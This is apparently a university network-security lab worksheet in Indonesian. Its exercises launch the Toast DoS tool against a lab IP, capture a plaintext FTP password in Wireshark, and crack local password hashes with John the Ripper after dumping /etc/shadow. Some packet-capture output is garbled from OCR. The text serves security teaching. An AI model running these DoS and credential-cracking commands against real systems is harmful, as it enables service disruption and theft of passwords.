Modul 1
Network Vulnerabilities

PERCOBAAN DoS Attack

1. download toast.0.2.tgz

2. extrat toast

10pens1:/home/isbat# tar -zxvf toast.0.2.tgz 

3. masuk ke direktori toast


pens1:/home/isbat# cd toast


pens1:/home/isbat/toast# ls


ATTACK
bin  EXPLAIN  README  src  toast.sh

4. Install Toast

5. Jalankan ping ke komputer target isbat@pens1:~$ ping 10.252.108.50


pens1:/home/isbat/toast# ping 10.252.108.50


64 bytes from 10.252.108.50: icmp_seq=1 ttl=63 time=6.60 ms


64 bytes from 10.252.108.50: icmp_seq=2 ttl=63 time=0.580 ms

6. Dari terminal baru jalankan toast, berapa macam attack yang ada ? Lihat option berapa toast dan amati berapa macam DoS yang bisa dijalankan toast

7. Jalankan toast dengan option –s 9, 

pens1:/home/isbat/toast# ./toast.sh 10.252.108.50 10.252.44.178 -s 9

untitled folder 10

   ___________                    __   

   \__    ___/________    _______/  |_ 

     |    | /  _ \__  \  /  ___/\   __\

     |    |(  <_> ) __ \_\___ \  |  |  untitled folder 10

     |____| \____(____  /____  > |__|  untitled folder 10

 ______       ______  \/     \/

|  __  |     |____  |

| |  | |      ___|  |

| |  | |     |  ____|  By Gridmark

| |__| |  _  | |____

|______| |_| |______|

Attempting to find an remote open port...

Throwing everything we got at 10.252.108.50

Running 1234...

Running DoS-Linux...

Running ascend-foo...

Running beer...

Running biffit...

Selanjut amati hasil ping apakah ada perubahan

64 bytes from 10.252.108.50: icmp_seq=41 ttl=63 time=0.635 ms

64 bytes from 10.252.108.50: icmp_seq=43 ttl=63 time=25.7 ms

64 bytes from 10.252.108.50: icmp_seq=44 ttl=63 time=25.8 ms

64 bytes from 10.252.108.50: icmp_seq=45 ttl=63 time=0.618 ms
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8. Install web server dan buat file html dengan 2 link file 

9. Coba koneksi ke html tersebut secara normal

10. Jalankan toast dan coba koneksi lagi ke webserver tersebut, amati yang terjadi

PERCOBAAN Network Sniffing

1. Install proftp


pens1:/home/isbat# apt-get install proftpd

2. Buat user untuk koneksi ke proftp

3. Install wireshark sebagai tools untuk melihat aktifitas sistem

pens1:/home/isbat# apt-get install wireshark

4. Coba jalankan wireshark dari terminal


pens1:/home/isbat#wireshark

5. Buka menu Capture dan pilih submenu option pilih interface lo dan start (interface tergantung yang akan diamati, kalo koneksi antar komputer kita pilih eth0/1/2)

6. Jalankan ftp dari localhost, masukkan user dan password jalankan beberapa perintah ftp
7. Amati hasil di wireshark
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30.000208  10.252.44.178 10.252.44.178 TP 47215 > Ttp [ACK
40.000515  10.252.44.178 10.252.44.178 TP 47215 > ftp [FIN, ACK] Seq=7 Ack=15 Wi
50.000641  10.252.44.178 10.252.44.178 TP ftp > 47215 [FIN, ACK] Seq=15 Ad
60.000656  10.252.44.178 10.252.44.178 TP 47215 > ftp [ACK]
71.638305  10.252.44.178 10.252.44.178 TP 47216 > ftp [SYN]
BRI e SN NG TP ftp > 47216 [SWN,
©1.938357  10.252.44.178 0.252.44.178 TP 47216 > ftp [ACK] Seq=1 Ack=1 Win=32896 Len=0 TSV=34!
11 1.941686  10.252.44.178 10.252.44.178 Tcp 47216 > ftp [ACK] Seq=1 Ack=59 Win=32896 Len=0 TSV=3/
13 4.031504 _ 10.252.44.178 10.252.44.178 Tcp Ftp > 47216 [ACK] Seq=59 Ack=15 Win=32768 Len=0 TS
15 4.032203  10.252.44.178 10.252.44.178 TP 47216 > ftp [ACK] Seq=15 Ack=04 Win=32896 Len=0 TS
16 5.435521 _10.252.44.178 10.250.44.178 FTP Request: PASS student
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b Frame 16 (80 bytes on wire, 80 bytes captured)
b Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)

b Internet Protocol, Src: 10.252.44.178 (10.252.44.178), Dst: 10.252.44.178 (10.252.44.178)

b Transmission Control Protocol, Src Port: 47216 (47216), Dst Port: ftp (21), Seq: 15, Ack: 94, Len: 14

b File Transfer Protocol (FTP)

0000 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ........
0010 00 42 d1 34 40 00 40 06 fa 15 0a fc 2c b2 0a fc  .B.4@.@.
0020 2c b2 b8 70 00 15 35 79 e6 b4 35 30 2b cf 80 18

I )

0030 01 01 6f 90 00 00 OL O1 0B Oa 00 05 3a 16 00 05 ..0..... ....i...
0030 0A S0 41 52 52 20 73 74 7% AA AS_fa 74 0d_na G DASS & tidant
lo: <live capture in progress> File: /... _ Packets: 21 Displayed: 21 Marked: 0 Profile: Default

@ [B isbat & Terminal [ *materi prakti... || @ Iceweasel

lo: Capturing -... || 8 Terminal B




8. Pada tampilan wireshark click kanan dan pilih follow tcp stream, amati percobaanmu dan tulis hasilnya.
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PERCOBAAN Password Cracking

1. Download source john the ripper

2. extract john the ripper menggunakan perintah tar –xzvf 

3. Install john the ripper

pens1:/home/isbat# cd john-1.7.3.1

pens1:/home/isbat/john-1.7.3.1# cd src

pens1:/home/isbat/john-1.7.3.1/src# make

pens1:/home/isbat/john-1.7.3.1/src# make clean SYSTEM

pens1:/home/isbat/john-1.7.3.1/src# make clean generic

4. Jalankan program john the ripper

pens1:/home/isbat/john-1.7.3.1/src# cd ..

pens1:/home/isbat/john-1.7.3.1# cd run

pens1:/home/isbat/john-1.7.3.1/run# ls

all.chr    alpha.chr   john
  lanman.chr  password.lst  unique

alnum.chr  digits.chr  john.conf  mailer      unafs
    unshadow

pens1:/home/isbat/john-1.7.3.1/run# ./john

John the Ripper password cracker, version 1.7.3.1

Copyright (c) 1996-2008 by Solar Designer and others

Homepage: http://www.openwall.com/john/

5. Lakukan crack passowrd 


a. mengambil shadow password terlebih dahulu dimasukkkan ke file tertentu

pens1:/home/isbat/john-1.7.3.1/run# ./unshadow /etc/passwd /etc/shadow > mypassword

pens1:/home/isbat/john-1.7.3.1/run# ls

all.chr    alpha.chr   john
  lanman.chr  mypassword    unafs   unshadow

alnum.chr  digits.chr  john.conf  mailer      password.lst  unique

b. crack password


pens1:/home/isbat/john-1.7.3.1/run# ./john -show mypassword 

0 password hashes cracked, 4 left

c. melihat pasword

pens1:/home/isbat/john-1.7.3.1/run# ./john mypassword 

Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [32/32])

student          (student)

condor           (condor)

guesses: 2  time: 0:00:00:04 11% (2)  c/s: 7395  trying: julienjulien

guesses: 2  time: 0:00:00:11 27% (2)  c/s: 7389  trying: rita5

Session aborted

pens1:/home/isbat/john-1.7.3.1/run# 

pens1:/home/isbat/john-1.7.3.1/run# 

